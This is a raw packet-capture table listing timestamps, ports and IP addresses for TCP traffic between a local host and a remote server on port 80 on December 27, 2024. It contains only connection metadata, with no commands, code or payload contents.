Dec 27, 2024 09:00:21.068614960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.068753958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.068763971 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.069585085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.069610119 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.069700003 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.070363045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.070453882 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.070468903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.071228981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.071369886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.071424007 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.072295904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.072361946 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.072386980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.073129892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.073194027 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.073201895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.073894978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.073959112 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.073971987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.074748039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.074800014 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.074872017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.075712919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.075730085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.075781107 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.076530933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.076631069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.076684952 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.077471018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.077518940 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.077563047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.078283072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.078366995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.078373909 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.079245090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.079340935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.079343081 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.080028057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.080080986 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.080122948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.080894947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.080960989 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.081026077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.081793070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.081882000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.082019091 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.082643032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.082700014 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.082766056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.083551884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.083636999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.083702087 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.084440947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.084487915 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.084525108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.085381985 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.085448980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.085542917 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.086294889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.086342096 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.086381912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.087184906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.087296009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.087383986 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.088018894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.088090897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.088171959 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.088839054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.088933945 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.088992119 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.089703083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.089835882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.089895010 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.090605974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.090703964 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.090805054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.091675997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.091753006 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.091794014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.092526913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.092578888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.092647076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.093235016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.093302011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.093435049 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.094078064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.094124079 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.094162941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.094963074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.095063925 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.095065117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.095863104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.095927954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.095973015 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.096736908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.096836090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.096930027 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.097558022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.097636938 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.153671980 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.249372959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.249417067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.249471903 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.249759912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.249888897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.250653028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.250705957 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.250771999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.250891924 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.251498938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.251810074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.251863003 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.251909018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.252674103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.252779007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.252834082 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.253546953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.253613949 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.253662109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.254544020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.254585981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.254683971 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.255320072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.255407095 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.255422115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.256171942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.256252050 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.256295919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.257055998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.257102966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.257179976 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.261493921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.261615038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.261671066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.261944056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.262010098 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.262028933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.262862921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.263005972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.263092041 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.263705015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.263751984 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.263797045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.264581919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.264636993 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.264686108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.265489101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.265544891 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.265621901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.266350985 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.266442060 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.266448021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.267200947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.267303944 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.267339945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.268300056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.268345118 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.268392086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.268970966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.269036055 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.269074917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.269854069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.269958019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.270023108 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.270756006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.270801067 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.270884991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.271625996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.271713018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.271756887 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.273621082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.273638010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.273654938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.273670912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.273736954 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.273736954 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.274286032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.274338007 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.274367094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.275147915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.275255919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.275331974 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.276024103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.276160955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.276206017 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.276886940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.276928902 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.276985884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.277770042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.277858019 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.277872086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.280292034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.280440092 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.281507969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.282135010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.282244921 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.282303095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.282318115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.282332897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.282368898 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.282464027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.282480001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.282536983 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.283355951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.283373117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.283407927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.283423901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.283433914 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.283454895 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.283909082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.284027100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.284120083 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.284790993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.284857035 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.284897089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.285665989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.285784960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.285867929 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.286550999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.286613941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.286638021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.287422895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.287547112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.287600040 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.288307905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.288409948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.288415909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.289196014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.289303064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.289357901 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.290046930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.290102959 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.290167093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.290920973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.291002989 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.291028976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.291826963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.291927099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.291975975 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.292687893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.292757034 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.292804956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.293577909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.293652058 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.293689966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.294461012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.294550896 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.294569969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.295346022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.295433998 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.295537949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.296264887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.296411991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.296502113 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.297086000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.297137022 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.297184944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.297993898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.298088074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.298237085 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.298835993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.298891068 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.451611042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.451761007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.451913118 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.452100039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.452116966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.452167034 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.452761889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.452923059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.452984095 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.453736067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.453751087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.454205990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.454255104 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.454365015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.454440117 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.455086946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.455102921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.455447912 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.455959082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.455975056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.456098080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.456751108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.456921101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.457885027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.457900047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.458012104 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.458012104 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.458544016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.458709002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.458755970 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.459362030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.459518909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.459774971 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.463720083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.463872910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.464010954 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.464229107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.464382887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.464430094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.465126038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.465605974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.465646029 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.465807915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.466439009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.466579914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.466623068 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.467386007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.467401028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.467452049 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.468204975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.468369961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.468413115 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.469016075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.469130039 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.469180107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.469975948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.470133066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.470189095 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.470766068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.470817089 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.470938921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.471719980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.471839905 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.471887112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.472542048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.472594976 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.472706079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.473495960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.473511934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.473562956 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.474267006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.474309921 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.474415064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.475214005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.475404978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.475406885 CET	49743	80	192.168.2.4	185.215.113.16
